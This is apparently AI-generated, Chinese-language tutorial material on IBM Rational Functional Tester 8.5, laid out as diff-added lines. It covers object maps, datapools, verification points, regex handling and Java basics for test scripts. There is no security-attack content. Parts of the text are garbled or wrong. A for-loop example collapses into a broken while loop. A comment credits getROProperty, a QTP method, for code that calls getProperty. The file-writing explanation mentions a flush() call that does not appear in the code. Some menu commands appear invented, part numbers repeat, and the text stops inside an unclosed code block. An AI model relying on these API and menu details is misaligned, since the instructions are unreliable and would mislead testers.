+要在RFT中创建新项目,请按照以下步骤操作: + +1. 打开IBM Rational Functional Tester。 +2. 单击“文件”>“新建”>“Rational Functional Tester项目”。 +3. 在“新项目”对话框中,为项目命名,选择测试类型并指定存储位置。 +4. 按照向导的指示完成项目设置。 + +完成上述步骤后,您可以开始使用RFT创建和管理自己的自动化测试。 + +总之,IBM RFT是一款功能强大的自动化测试工具,提供了丰富的API和内置功能,可用于各种类型的应用程序测试。 它易于使用,可扩展和定制,并且可以良好地与Eclipse和IBM Rational Application Developer集成。 + +#### Part 2 - Objects, Domains + +在IBM RFT 8.5 - Part 2中,我们将了解以下内容: + +1. 对象和对象识别器 +2. 域和域测试对象 +3. 如何创建自定义域和测试对象 + +##### 对象和对象识别器 + +在RFT中,一个对象是指应用程序中的一个控件或部分。可以通过对象识别器在RFT中识别对象。对象识别器使用属性来标识对象,并将其表示为测试脚本中的代码。 + +在RFT中,有几种不同类型的对象识别器,例如基于图像、基于文本、基于注释等。它们可以根据需要进行切换,以识别各种对象和控件。 + +##### 域和域测试对象 + +在RFT中,域是包含相似对象的组。例如,对于Web应用程序,可能会有一个“表单”域,其中包含所有表单元素,如文本框、复选框、按钮等。 + +每个域都具有一个特定的测试对象。这些对象提供了与域相关的属性和操作。例如,在表单域中,您可以使用测试对象获取表格中的数据或输入表单字段。 + +##### 如何创建自定义域和测试对象 + +要创建自定义域和测试对象,请按照以下步骤操作: + +1. 在RFT中打开项目。 +2. 单击“域”视图中的“新建”按钮。 +3. 选择要创建的域类型,然后按照向导的指示完成域设置。 +4. 在“测试对象”视图中,单击“新建”按钮。 +5. 选择要创建的测试对象类型,输入名称并指定父域。按照向导的指示完成测试对象设置。 + +完成上述步骤后,您可以使用自定义域和测试对象来执行特定类型的自动化测试。 + +总之,在RFT中,对象是应用程序中的控件或部分,可以通过对象识别器进行识别。 域是包含相似对象的组,并且每个域都有一个特定的测试对象,提供与域相关的属性和操作。 您可以根据需要创建自定义域和测试对象。 + + + +#### Part 3 - Record script + +好!我很乐意帮助您使用 IBM RFT 8.5 录制脚本。以下是步骤: + +1. 打开 IBM RFT 并通过选择 File > New > Test Script 创建一个新的测试脚本。 +2. 在对象查找器窗格中,选择要记录交互的应用程序或网页。 +3. 单击工具栏中的 Record 按钮或转到 Actions > Record Testcase。 +4. 执行您在应用程序或网页上的所需操作,例如单击按钮或输入文本到字段中。当您这样做时,RFT 将根据您的交互自动生成代码到测试脚本编辑器中。 +5. 完成您的交互后,单击工具栏中的停止录制按钮或转到 Actions > Stop Recording。 + + + +#### Part 4 - Private Object Map + +##### 什么是私有对象映射? +私有对象映射是IBM RFT工具的一个重要特性。如果您使用RFT开发自动化测试脚本,则必须掌握私有对象映射。 + +私有对象映射是一种机制,可以为测试对象定义逻辑名称,从而更方便地识别和操作这些对象。它与基于层次结构的对象查找不同,后者使用对象的物理位置来查找和标识对象。 + +在私有对象映射中,您可以为每个测试对象定义一个唯一的逻辑名称,然后在测试脚本中使用该名称来识别和访问该对象。这样做可以使测试脚本更加可读、易于维护和可靠。 + +##### 如何创建私有对象映射? +要创建私有对象映射,请按照以下步骤操作: + +1. 打开应用程序或Web页面,并启动RFT。 +2. 在RFT中创建一个新的测试脚本。 +3. 选择菜单栏中的“对象”>“添加到私有对象映射”选项。该选项将打开私有对象映射编辑器。 +4. 在私有对象映射编辑器中,单击“添加”按钮,并指定测试对象的逻辑名称和物理位置。可以使用“捕获”按钮来记录测试对象的物理位置。 +5. 添加所有需要使用的测试对象。 +6. 单击“保存并关闭”按钮,以保存私有对象映射更改并关闭编辑器。 + +##### 如何在测试脚本中使用私有对象映射? +完成私有对象映射的创建后,您可以在测试脚本中使用定义的逻辑名称来引用测试对象。例如,您可以使用以下代码来单击名为“loginButton”的按钮: + +``` +TestObject loginButton = find("loginButton"); +((GuiTestObject)loginButton).click(); +``` + +在这里,“loginButton”是您为该按钮定义的逻辑名称。 `find`方法使用该名称查找测试对象,并将其返回给`testObject`变量中。 + +注意:在使用RFT时,“find”方法是一种非常常见的技术。它允许您根据某些标准(如逻辑名称或属性)查找测试对象,并在测试脚本中使用这些对象执行操作。 + +##### 总结 +私有对象映射是IBM RFT工具的一个重要特性,可帮助测试人员更方便地识别和操作测试对象。通过在测试脚本中使用逻辑名称而不是物理位置来引用测试对象,可以使测试脚本更加可读、易于维护和可靠。 + +#### Part 5 - Update recognition properties + + +##### 什么是识别属性? +在创建RFT测试脚本时,您需要指定如何识别应用程序或Web页面中的各个测试对象。例如,如果您要单击登录按钮,则必须先找到该按钮并使用适当的方法调用来单击它。 + +要找到测试对象,RFT使用一组称为“识别属性”的属性。这些属性描述了测试对象的外观、位置和其他特征。 + +##### 何时需要更新识别属性? +有时,应用程序或Web页面的更改可能会影响测试对象的外观或位置,从而导致RFT无法正确识别该对象。在这种情况下,您需要更新识别属性以反映更改,以确保RFT可以准确地识别该对象。 + +此外,针对某些对象,您可能希望添加自定义识别属性,以便更容易地识别它们。 + +##### 如何更新识别属性? +要更新测试对象的识别属性,请按照以下步骤操作: + +1. 在RFT中打开测试脚本并启动应用程序或Web页面。 +2. 使用Object Finder工具(Object Finder Tool)选择要更改的测试对象。 +3. 完全标识测试对象后,右键单击它,并选择“更改对象属性”选项。 +4. 在“对象属性”窗口中,查看测试对象的当前识别属性设置。 +5. 如果需要更新现有识别属性,请单击“编辑”按钮并更改属性的值。 +6. 如果需要添加自定义识别属性,请单击“添加”按钮并指定自定义属性的名称和值。 +7. 单击“确定”按钮以保存更改,并关闭“对象属性”窗口。 + +完成这些步骤后,RFT将使用新的识别属性来查找和识别测试对象。 + +##### 总结 +在创建RFT测试脚本时,您需要指定如何识别应用程序或Web页面中的各个测试对象。要找到测试对象,RFT使用一组称为“识别属性”的属性。如果应用程序或Web页面更改导致RFT无法正确识别测试对象,则可以更新或添加识别属性以解决此问题。 + +#### Part 6 - Simple script + +##### 创建一个新测试脚本 +1. 打开IBM RFT。 +2. 在“RFT工作台”窗口中,选择“文件”>“新建”>“测试脚本”。 +3. 在“新建测试脚本”向导中,指定测试脚本名称和项目位置,然后单击“下一步”。 +4. 在“应用程序描述”页面上,选择要测试的应用程序类型,并填写应用程序的文件路径或URL。单击“下一步”。 +5. 在“测试环境配置”页面上,接受默认值并单击“下一步”。 +6. 在“测试域配置”页面上,接受默认值并单击“下一步”。 +7. 在“测试对象映射”页面上,接受默认值并单击“下一步”。 +8. 在“测试脚本生成器”页面上,选择“手动录制所有操作”选项并单击“完成”。 + +##### 录制测试脚本步骤 +在创建了新的测试脚本之后,您可以执行以下步骤: + +1. 在RFT的“测试脚本”窗口中,单击“录制”按钮以开始录制脚本。 +2. 启动要测试的应用程序,并通过应用程序执行所需的操作。 +3. 在完成测试后,在RFT的“测试脚本”窗口中单击“停止”按钮以停止录制。 +4. 在“测试脚本”窗口中,可以查看和编辑刚刚录制的脚本内容。 + +##### 运行测试脚本 +1. 确保要测试的应用程序已在本地或远程计算机上启动。 +2. 在RFT的“测试脚本”窗口中选择要运行的脚本。 +3. 单击“运行”按钮以运行所选的脚本。 +4. RFT将自动执行脚本中记录的操作并生成报告。 + +##### 总结 +创建简单的RFT测试脚本需要执行以下步骤:创建一个新的测试脚本、录制测试脚本步骤和运行测试脚本。您可以使用RFT的图形界面来完成这些任务,并根据需要对录制的脚本进行编辑和修改。 + +#### Part 7 - Datapool basics + +##### 什么是数据池? +数据池是指一组测试数据的集合。在测试期间使用数据池可以帮助您模拟各种不同的测试环境和情况。 + +##### 如何创建数据池? +要创建一个数据池,请按照以下步骤操作: + +1. 打开RFT并创建一个新的测试脚本。 +2. 在“测试脚本”窗口中,单击“数据池”按钮。 +3. 在“数据池”窗口中,单击“创建新数据池”按钮。 +4. 指定数据池名称、数据类型和字段数,并单击“确定”按钮。 + +##### 如何添加测试数据到数据池中? +要将测试数据添加到数据池中,请执行以下操作: + +1. 在“数据池”窗口中选择要添加数据的数据池。 +2. 单击“添加记录”按钮。 +3. 在“添加数据记录”对话框中,输入所需的测试数据。 +4. 单击“确定”按钮以添加数据。 + +您可以重复这些步骤来添加多个测试数据到数据池中。 + +##### 如何将数据池与测试脚本关联? +要将数据池与测试脚本关联,请执行以下操作: + +1. 打开测试脚本并转到需要使用数据池的测试对象。 +2. 在测试对象上右键单击并选择“属性...”。 +3. 在“属性”窗口中,选择“数据驱动”选项卡。 +4. 选择一个数据池并指定要使用的数据列。 +5. 单击“确定”按钮以保存更改。 + +现在您的测试脚本已配置为使用所选数据池中的测试数据来执行测试操作。 + +##### 总结 +在RFT中,使用数据池可帮助您模拟各种不同的测试情况和环境。要创建数据池,请打开RFT并创建一个新的测试脚本。然后,在“数据池”窗口中添加测试数据并将其与测试脚本关联。这样,您的测试脚本就可以使用数据池中的测试数据来执行测试操作。 + +#### Part 8 - Datapool management + + +##### 如何修改数据池? +要修改数据池,请执行以下操作: + +1. 打开RFT并转到“测试脚本”窗口。 +2. 在左侧窗格中单击“数据池”按钮。 +3. 在“数据池”窗口中,选择要修改的数据池。 +4. 单击“编辑数据池”按钮。 +5. 对数据池进行所需的更改,例如添加或删除数据行。 +6. 单击“确定”按钮以保存更改。 + +##### 如何导入和导出数据池? +要导入数据池,请执行以下操作: + +1. 在“数据池”窗口中,单击“导入”按钮。 +2. 浏览到包含要导入的数据池文件的位置,并输入文件名。 +3. 单击“打开”按钮以开始导入过程。 +4. 根据需要调整数据池设置,例如字段分隔符和日期格式。 +5. 确认导入选项,然后单击“完成”按钮。 + +要导出数据池,请执行以下操作: + +1. 在“数据池”窗口中,选择要导出的数据池。 +2. 单击“导出”按钮。 +3. 浏览到要将数据池文件保存的位置,并输入文件名。 +4. 根据需要调整导出选项,例如字段分隔符和日期格式。 +5. 单击“确定”按钮以开始导出过程。 + +##### 如何删除数据池? +要删除数据池,请执行以下操作: + +1. 在“数据池”窗口中,选择要删除的数据池。 +2. 单击“删除数据池”按钮。 +3. 在提示框中单击“是”以确认删除操作。 + +注意:删除数据池后,其中的所有测试数据都将永久丢失。请谨慎操作。 + +##### 总结 +在RFT中,您可以随时修改、导入、导出和删除数据池。要修改数据池,打开“数据池”窗口并对数据进行更改。要导入或导出数据池,请单击相应的按钮并进一步指定有关选项。要删除数据池,请选择其名称并单击“删除数据池”按钮。 + + +#### Part 9 - Run script with multiple data + +要在IBM RFT 8.5中使用多个数据集运行脚本,可以使用数据驱动测试功能。以下是要遵循的步骤: + +1. 创建新的测试脚本或打开现有脚本。 + +2. 单击工具栏上的“数据驱动测试”按钮。 + +3. 在“数据驱动测试”窗口中,单击“添加”按钮创建新的数据源。 + +4. 选择要使用的数据源类型(例如Excel文件、CSV文件、数据库连接)。 + +5. 选择文件或连接,并根据需要配置设置。 + +6. 在“数据驱动测试”窗口内选择刚才创建的数据源,并单击“列”按钮将数据映射到测试脚本。 + +7. 将每个数据列映射到测试脚本中的相应输入参数。 + +8. 保存更改并关闭“数据驱动测试”窗口。 + +9. 像往常一样运行您的测试脚本。 + +10. 在提示时,选择使用多个数据集运行脚本的选项。 + +11. 脚本将针对数据源中每行数据运行一次,使用该行的值作为输入参数。 + + + +#### Part 10 - Verification point + +在IBM RFT 8.5中,Verification Point(验证点)是一种用于检查应用程序行为是否符合预期的工具。以下是使用Verification Point进行测试的步骤: + +1. 在测试脚本中选择您要验证的对象。 + +2. 单击菜单栏中的“Insert”(插入)选项,选择“Verification Point”(验证点)。 + +3. 在弹出窗口中输入验证点名称并选择要验证的属性和方法。 + +4. 单击“Finish”(完成)后,Verification Point代码将自动添加到脚本中。 + +5. 运行测试脚本并观察输出结果。 + +6. 如果Verification Point失败,则会在测试报告中显示,并且可能需要进一步调试问题。 + +7. 您可以通过更改Verification Point的条件来进行更多测试,或添加其他验证点以确保应用程序的各个方面均得到测试。 + +请注意,Verification Point不应该是您测试计划中唯一的测试类型。它应该与其他测试技术(如功能测试、性能测试和安全测试)结合使用,以确保应用程序的所有方面均得到充分测试。 + +#### Part 11 - Verification point with delay + +在IBM RFT 8.5中,当您需要等待应用程序执行某些操作后再进行验证时,可以使用Verification Point with Delay(带有延迟的验证点)来做到这一点。以下是使用Verification Point with Delay进行测试的步骤: + +1. 在测试脚本中选择要验证的对象。 + +2. 单击菜单栏中的“Insert”(插入)选项,选择“Verification Point with Delay”(带有延迟的验证点)。 + +3. 在弹出窗口中输入验证点名称,选择要验证的属性和方法以及延迟时间。 + +4. 单击“Finish”(完成)后,Verification Point with Delay代码将自动添加到脚本中。 + +5. 运行测试脚本并观察输出结果。 + +6. 如果Verification Point with Delay失败,则会在测试报告中显示,并且可能需要进一步调试问题。 + +与普通的Verification Point相比,Verification Point with Delay允许您设置等待时间,以确保应用程序引起的更改已经生效。这对于包含网络或其他远程操作的应用程序尤其有用,因为这些操作可能需要一些时间才能完成。请注意,在设置延迟时间时,请避免将其设置得过长,以避免增加测试时间。 + +#### Part 12 - Get text + +好的,以下是一份更详细的IBM RFT 8.5中获取应用程序对象文本的步骤说明: + +1. 首先,在RFT测试脚本编辑器中选择一个应用程序对象来获取其文本。可以通过手动创建新的测试脚本或打开现有的测试脚本来执行此操作。 + +2. 在RFT测试脚本编辑器左侧的Object Map面板中,展开“Gui Objects”和应用程序对象所在的层次结构,以便找到要获取文本的对象。 + +3. 右键单击该对象,并从上下文菜单中选择“Locate”. + +4. Object Browser或Test Object Inspector窗口将打开,其中包含选定对象的属性列表。确认该对象可用并具有正确的测试对象类和测试对象属性。 + +5. 确认位于应用程序对象内部的文本输入区域已具有焦点,并且文本未被选中。这是因为GetText方法将仅返回文本输入区域中当前可见的非选中文本。 + +6. 输入以下代码以在RFT测试脚本中获取对象文本,并将其存储在变量中: + + ``` + String varName = testObject().getProperty(".text").toString(); + ``` + + 在这个例子中,“varName”是想要保存文本值的变量名,而“testObject()”是之前从Object Map中选择的应用程序对象。 + +7. 运行测试脚本并观察输出结果。变量"varName"中将包含选定对象的文本内容。 + +请注意,GetText方法仅获取当前文本输入区域中可见的非选中文本。如果文本通过滚动或其他方式未在屏幕上完全显示,则可能导致只返回部分文本或不正确的文本。此外,获取对象文本还可能受到应用程序非标准化的字体和格式化方式的影响。因此,在进行字符串比较等文本验证时,请小心使用。 + +#### Part 13 - Regular expressions +好的,以下是IBM RFT 8.5中使用正则表达式进行GUI测试的具体步骤: + +1. 首先,在RFT测试脚本编辑器中选择想要应用正则表达式的对象。可以通过手动创建新的测试脚本或打开现有的测试脚本来执行此操作。 + +2. 在RFT测试脚本编辑器左侧的Object Map面板中,展开“Gui Objects”和对象所在的层次结构,以找到该对象。 + +3. 确认该对象可用并具有正确的测试对象类和测试对象属性。 + +4. 打开测试脚本并输入以下代码以在对象的方法中使用正则表达式: + + ```java + // 定义正则表达式字符串 + String regex = "reg[ex]+"; + + // 定义对应于正则表达式的测试对象属性值。 + String testPropertyValue = "regex example"; + + // 使用matches()方法,将对象属性与正则表达式进行匹配 + boolean textMatches = testPropertyValue.matches(regex); + + if (textMatches) { + System.out.println(testPropertyValue + " matches the regular expression " + regex); + } else { + System.out.println(testPropertyValue + " does not match the regular expression " + regex); + } + ``` + +5. 运行测试脚本并观察输出结果。根据正则表达式是否与相应对象属性相匹配,输出应显示文本。 + +在上面的代码片段中,“regex”是定义的正则表达式字符串,而“testPropertyValue”是想要测试的属性值。在这种情况下,“textMatches”变量将存储一个布尔值,指示对象属性是否与正则表达式匹配。 + +需要注意的是,在使用正则表达式时,请确保在字符串中进行适当的转义和转义字符处理,以便有效地捕获特殊字符和模式匹配。 + +RFT提供了许多方法来使用正则表达式进行GUI测试。可以在IBM RFT 8.5帮助文档中查找更详细的信息,并且建议在开发测试脚本之前仔细阅读有关正则表达式的相关内容。 + +#### Part 14 - Regexp and verification point +好的,以下是IBM RFT 8.5中使用正则表达式进行验证点测试的具体步骤: + +1. 首先,在RFT测试脚本编辑器中打开要用于创建验证点的测试脚本。 + +2. 在测试脚本中找到要创建验证点的对象,并右键单击该对象以打开上下文菜单。 + +3. 在上下文菜单中选择“Insert Verification Point”选项。 + +4. 在弹出的“Select Properties to Verify”对话框中,输入可以使用正则表达式进行匹配的属性(如文本属性)的名称。 + +5. 然后,在“Verification Point Creation Options”对话框中,选择“Use Regular Expression”复选框,以启用正则表达式选项。 + +6. 输入想要匹配的文本字符串的正则表达式,并设置其他选项,例如大小写敏感性,也可根据需要更改验证点名称。 + +7. 单击“OK”,系统将自动在测试脚本中创建一个新的验证点,并将其添加到您已指定的属性。 + +8. 完成设置后,请运行测试脚本并观察输出结果。如果对象属性的值与指定的正则表达式模式匹配,则证明验证点已通过。 + +在上面的步骤中,“Insert Verification Point”选项可让您使用IBM RFT的验证点向导来创建一个新的验证点。 此向导提供了一系列创建验证点所需的选项,包括是否使用正则表达式进行文本匹配等选项。 + +需要注意的是,在使用正则表达式时,请仔细考虑所需的模式,并确保在您的代码中使用正确的转义字符和语法。 此外,还可以通过在IBM RFT帮助菜单中查找“verification point”关键字来查阅有关验证点和测试用例设计的更多信息。 + +#### Part 15 - Regexp and dynamic text + +好的,以下是使用正则表达式处理动态文本的具体步骤: + +1. 首先,在IBM RFT测试脚本编辑器中找到需要处理动态文本的对象。 + +2. 将对象的属性设置为捕获动态文本的正则表达式。例如,可以使用正则表达式来捕获日期、时间和其他可变文本。 + +3. 使用RFT API中的“getROProperty”方法来获取动态文本对象的属性值。 + +4. 将获取的文本字符串与预期的文本进行比较。 如果两个字符串匹配,则将测试结果设为通过。 + +5. 如果文本不匹配,则会发生错误,测试脚本可据此确定测试是否失败。 + +下面是一个示例,演示如何使用IBM RFT来处理动态文本。假设有一个对象包含当前日期,并且您想要使用该日期进行后续测试。在这种情况下,可以执行以下步骤: + +1. 使用正则表达式捕获包含日期的文本字符串。例如,此处可以使用类似于“\d{2}\/\d{2}\/\d{4}”之类的模式来匹配常见的日期格式。 + +2. 使用getROProperty方法来检索对象的文本属性。 + +```java +String datePattern = "\\d{2}\\/\\d{2}\\/\\d{4}"; // 定义正则表达式 + +TestObject dateObject = findObject(""); // 查找包含日期的对象 + +String dateText = (String) dateObject.getProperty(".text"); // 使用 getROProperty 方法检索对象属性 + +Pattern pattern = Pattern.compile(datePattern); // 编译正则表达式模式 +Matcher matcher = pattern.matcher(dateText); // 在字符串中查找匹配项 + +if (matcher.find()) { + String date = matcher.group(); // 找到匹配项并提取日期 + // 在此处定义后续测试的变量或执行其他操作 +} else { + logError("Unable to find date pattern"); // 如果找不到日期模式,则记录错误 +} +``` + +在上述代码示例中,我们首先定义了一个正则表达式模式来匹配日期。 接下来,我们检索包含日期的文本对象,并使用getROProperty方法获取该对象的文本属性。 然后,我们使用Pattern和Matcher类来比较获取的文本字符串与预期的日期模式,如果两者匹配,则将日期存储在变量中,以便进行后续测试。 + +需要注意的是,在使用正则表达式处理动态文本时,应尽可能针对可能出现的不同文本格式编写通用的正则表达式模式。 否则,测试结果可能会受到意外的影响,从而导致测试失败。 + +#### Part 16 - Java basics + +好的,以下是一些IBM RFT测试脚本中使用的Java基础知识。 + +1. 变量 + +在IBM RFT测试脚本中,可以通过声明变量来存储值并在测试过程中使用它们。Java中声明变量的基本语法如下: + +```java +<数据类型> <变量名> = <初始值>; +``` + +例如,在测试脚本中,您可以声明一个整数变量并将其设置为初始值: + +```java +int myNumber = 42; +``` + +2. 条件语句 + +条件语句用于根据特定条件执行不同的代码块。 在Java中,常见的条件语句是if-else语句。 if-else语句的基本语法如下: + +```java +if (<条件>) { + // 执行语句块1 +} +else { + // 执行语句块2 +} +``` + +例如,在测试脚本中,您可以使用if-else语句根据对象是否可见执行不同的操作: + +```java +TestObject object = findObject(""); +if (object.isVisible()) { + // 对象可见时执行的语句块 +} +else { + // 对象不可见时执行的语句块 +} +``` + +3. 循环语句 + +循环语句用于重复执行某些代码块,直到满足特定条件。 在Java中,for和while是最常见的循环语句。 for循环的基本语法如下: + +```java +for (<初始化>; <循环条件>; <更新>) { + // 执行语句块 +} +``` + +例如,在测试脚本中,您可以使用for循环来迭代数组元素并执行某些操作: + +```java +int[] myArray = {1, 2, 3, 4, 5}; +for (int i=0; i) { + // 执行语句块 +} +``` + +例如,在测试脚本中,您可以使用while循环来重复执行某个操作,直到对象变为可用或直到达到特定时间: + +```java +long startTime = System.currentTimeMillis(); +while (!object.exists() && System.currentTimeMillis() - startTime < 5000) { + // 执行某些操作,例如等待500毫秒 +} +``` + +上述示例中,我们使用while循环来检查对象是否存在,并等待最多5秒钟。 如果对象在5秒内不存在,则退出循环。 + +这是一些简单的Java基础知识,可帮助您编写IBM RFT测试脚本。 随着熟练掌握Java的更高级特性,您可以创建更高效和灵活的测试脚本。 + +#### Part 17 - Java string and integer +好的,以下是一些IBM RFT测试脚本中使用的Java字符串和整数基础知识。 + +1. 字符串 + +在IBM RFT测试脚本中,您可以使用Java字符串来存储和操作文本数据。 Java字符串有许多内置的方法,例如compareTo()和substring(),可用于执行各种操作。 这里是一些Java字符串的基本用法: + +```java +// 定义一个新字符串 +String myString = "Hello, world!"; + +// 通过方法获取字符串长度 +int length = myString.length(); + +// 比较两个字符串 +int result = myString.compareTo("Goodbye, world!"); + +// 获取子字符串 +String subString = myString.substring(0, 5); + +// 将字符串转换为大写或小写 +String upperCaseString = myString.toUpperCase(); +String lowerCaseString = myString.toLowerCase(); +``` + +2. 整数 + +在IBM RFT测试脚本中,您可以使用Java整数来存储和操作数字数据。 Java整数有许多内置的算术和逻辑运算符,例如加号(+)和等于号(==),可用于执行各种操作。 这里是一些Java整数的基本用法: + +```java +// 定义一个新整数 +int myNumber = 42; + +// 执行加法操作 +int sum = myNumber + 10; + +// 执行减法操作 +int difference = myNumber - 10; + +// 执行乘法操作 +int product = myNumber * 10; + +// 执行除法操作 +int quotient = myNumber / 10; + +// 执行比较操作 +boolean isLessThan = myNumber < 50; +boolean isEqualTo = myNumber == 42; +boolean isGreaterThan = myNumber > 30; +``` + +这是一些简单的Java字符串和整数知识,可帮助您编写IBM RFT测试脚本。 随着熟练掌握这些基础知识和其他高级特性,您可以创建更高效和灵活的测试脚本。 + +#### Part 18 - Java loop +好的,以下是一些IBM RFT测试脚本中使用的Java循环基础知识。 + +在编写IBM RFT测试脚本时,您将需要编写代码来执行重复任务。 Java提供了多种类型的循环结构,包括for,while和do-while循环。 这里是每种循环的基本语法: + +1. for循环 + +for循环用于按照指定次数重复执行代码块。 它由一个初始化子句(定义计数器变量),一个条件子句(定义计数器达到目标值时退出循环的条件)和一个增量子句(递增计数器变量)组成。 这里是一个示例for循环: + +```java +for (int i = 0; i < 10; i++) { + System.out.println("The value of i is: " + i); +} +``` + +这个循环会打印数字0到9。 + +2. while循环 + +while循环用于在条件为真时重复执行代码块。 它只有一个条件子句,并在每次循环迭代之前检查该条件。 这里是一个示例while循环: + +```java +int i = 0; +while (i < 10) { + System.out.println("The value of i is: " + i); + i++; +} +``` + +这个循环也会打印数字0到9。 + +3. do-while循环 + +do-while循环类似于while循环,但它先执行代码块,然后检查条件。 这确保了代码块至少执行一次。 这里是一个示例do-while循环: + +```java +int i = 0; +do { + System.out.println("The value of i is: " + i); + i++; +} while (i < 10); +``` + +这个循环也会打印数字0到9。 + +这些基本的Java循环结构可用于在IBM RFT测试脚本中执行重复任务。 随着熟练掌握这些基础知识和其他高级特性,您可以创建更高效和灵活的测试脚本。 + +#### Part 19 - Java conditions +好的,以下是一些IBM RFT测试脚本中使用的Java条件基础知识。 + +在编写IBM RFT测试脚本时,您将需要编写代码来根据不同条件执行不同的操作。 Java提供了多种类型的条件语句,包括if/else和switch语句。这里是每种语句的基本语法: + +1. if/else语句 + +if/else语句用于基于一个或多个条件执行不同的代码块。它由一个if子句(定义条件),可选的一个或多个else if子句(定义其他条件)以及一个可选的else子句(定义任何其他情况下要执行的代码)组成。 以下是if/else语句的示例代码: + +```java +int x = 10; +if (x > 0) { + System.out.println("x is positive"); +} else if (x < 0) { + System.out.println("x is negative"); +} else { + System.out.println("x is zero"); +} +``` + +2. switch语句 + +switch语句类似于if/else语句,但它根据一个表达式的值执行不同的代码块。 它由一个switch子句(定义表达式),多个case子句(定义表达式等于某个值时要执行的代码)以及一个可选的default子句(定义任何其他情况下要执行的代码)组成。 以下是switch语句的示例代码: + +```java +int dayOfWeek = 4; +switch (dayOfWeek) { + case 1: + System.out.println("Monday"); + break; + case 2: + System.out.println("Tuesday"); + break; + case 3: + System.out.println("Wednesday"); + break; + case 4: + System.out.println("Thursday"); + break; + case 5: + System.out.println("Friday"); + break; + default: + System.out.println("Weekend day"); + break; +} +``` + +这些基本的Java条件结构可以在IBM RFT测试脚本中执行不同的操作,从而实现更灵活和高效的测试方案。通过熟练掌握这些基础知识和其他高级特性,您可以编写更复杂的测试脚本来验证应用程序是否按预期工作。 + +#### Part 20 - Apply logic in script +在IBM RFT测试脚本中应用逻辑非常重要。下面是一些有关在IBM RFT脚本中应用逻辑的提示: + +1. 使用流程控制语句 + +使用流程控制语句(例如if/else和for/while循环)来控制代码和执行流程。这些控制结构允许您根据不同情况选择执行不同的代码块,或者多次执行相同的代码块。 + +以下是一个使用if/else语句的示例,该语句根据条件执行不同的操作: + +```java +if (someCondition) { + doSomething(); +} else { + doSomethingElse(); +} +``` + +以下是一个使用for循环的示例,该循环将重复执行一些操作,直到达到指定条件: + +```java +for (int i = 0; i < someLimit; i++) { + doSomethingRepeatedly(); +} +``` + +2. 将方法分解为更小的部分 + +将方法分解为更小的部分可以使代码更易于阅读和维护。这也有助于避免代码重复并增加测试脚本的可重用性。如果您发现自己编写了大量的代码行,请考虑将其拆分为更小、更易于管理的部分。 + +3. 利用断言 + +利用断言来验证测试结果是否正确。断言是一种在代码中添加的陈述,它表明某个条件必须为真,否则会引发错误并停止代码的执行。这是一种非常有用的技术,可以在脚本运行时快速识别问题。 + +以下是一个使用断言的示例: + +```java +assertTrue(someResult == expectedValue); +``` + +4. 使用注释 + +使用注释来记录您的代码。这将使您编写的代码更易于理解和维护。好的注释应该清楚地描述每个方法、变量或语句块的功能,并提供指向相关文档或资源的链接(如果有的话)。 + +以上是一些有关在IBM RFT测试脚本中应用逻辑的提示。通过正确应用逻辑,您可以编写高质量、易于维护的测试脚本,并确保应用程序按预期工作。 + +#### Part 21 - Call Methods +在IBM RFT测试脚本中,调用方法是一种重要的技术。它允许您从多个地方调用相同的代码块,使您的脚本更易于维护和扩展。 + +以下是一些有关在IBM RFT脚本中调用方法的提示: + +1. 编写可重用的代码 + +在编写脚本时,请尽量编写可重用的代码。这意味着编写可以从多个地方调用的通用代码块,而不是针对特定场景编写硬编码解决方案。例如,如果您希望测试应用程序中的搜索功能,则可以编写一个可重用的搜索方法,该方法可以从多个测试用例中调用。 + +2. 将方法保存在库文件中 + +为了使您的方法可在整个项目中共享并易于管理,请将其保存在库文件中。库文件只需要编写一次,然后可以在多个测试脚本中使用。这使得您可以更轻松地实现一致性,并减少了代码重复的风险。 + +3. 使用对象映射 + +使用对象映射来引用UI元素和控件。以这种方式编写测试脚本,可以使它们更加模块化,并且可以使任何更改都更容易进行。这可以确保您的测试脚本不会因为小的页面布局或控件更改而中断。 + +以下是一个使用对象映射和方法调用的示例: + +```java +// 引用对象映射中的搜索框和搜索按钮 +TextGuiSubitemTestObject searchBox = (TextGuiSubitemTestObject)find("searchBox"); +GuiTestObject searchButton = find("searchButton"); + +// 编写可重用的搜索方法 +public void search(String keyword) { + // 在搜索框中输入关键词 + searchBox.setText(keyword); + + // 单击搜索按钮 + searchButton.click(); +} + +// 从测试脚本中调用搜索方法 +search("apple"); +``` + +通过正确调用方法,您将能够在IBM RFT测试脚本中编写更加高效、可维护和灵活的代码。 + +#### Part 20 - File handing + +当您编写代码时,文件处理是一种非常常见的任务。其中一些常见任务包括从文件中读取数据,将数据写入文件以及重命名或删除文件。在Java中,文件处理通常涉及使用File类和必要的流来执行与文件相关的任务。 + +## 使用File类 + +在Java中,要处理文件,首先需要创建一个`File`对象,可以通过提供文件路径或文件的封装URI(Uniform Resource Identifier)来实现。例如,下面的示例代码展示了如何在Java中创建一个File对象: + +```java +File myFile = new File("path/to/my/file.txt"); +``` + +在这个例子中,我们提供了文件路径,它指向我们想要读取或写入的文件。 + +## 读取文件 + +如果要从文件中读取数据,则需要使用Java提供的某种I/O流。有几种不同类型的流,可以根据您要读取的数据类型以及要使用的功能来选择不同的流。 + +例如,如果要读取文本文件,可以使用`FileReader`对象。请注意,为了确保在读取完文件后关闭文件,我们建议使用try-with-resources语句块来自动关闭文件。下面的例子演示了如何读取文件并将其打印到控制台上: + +```java +try (BufferedReader br = new BufferedReader(new FileReader(myFile))) { + String line; + while ((line = br.readLine()) != null) { + System.out.println(line); + } +} catch (IOException e) { + System.err.println("Error reading file: " + e.getMessage()); +} +``` + +在这个例子中,我们使用`BufferedReader`来包装一个`FileReader`对象并读取文件的每一行。请注意,在完成读取后,try-with-resources语句块将自动关闭`BufferedReader`和`FileReader`对象。 + +## 写入文件 + +如果要将数据写入文件,则需要使用Java提供的另一种I/O流。与读取文件时相同,有多种不同类型的流可用于根据您要写入的数据类型以及要使用的功能进行选择。 + +例如,如果要写入文本文件,则可以使用`BufferedWriter`对象。下面的代码片段演示了如何打开文件以进行写入: + +```java +try (BufferedWriter bw = new BufferedWriter(new FileWriter(myFile))) { + bw.write("Hello, World!"); +} catch (IOException e) { + System.err.println("Error writing to file: " + e.getMessage()); +} +``` + +在这个例子中,我们使用`BufferedWriter`对象来包装一个`FileWriter`对象。然后,我们调用`write()`方法将字符串写入缓冲区,并通过调用`flush()`方法将缓冲区中的内容刷新到磁盘上的文件中。 + +## 重命名和删除文件 + +要重命名或删除文件,可以使用File类中提供的方法来执行这些任务。要重命名文件,请使用`renameTo()`方法,并传递新文件名称作为参数。 + +例如,下面的代码片段演示了如何将文件从“myfile.txt”重命名为“newfile.txt”: + +```java 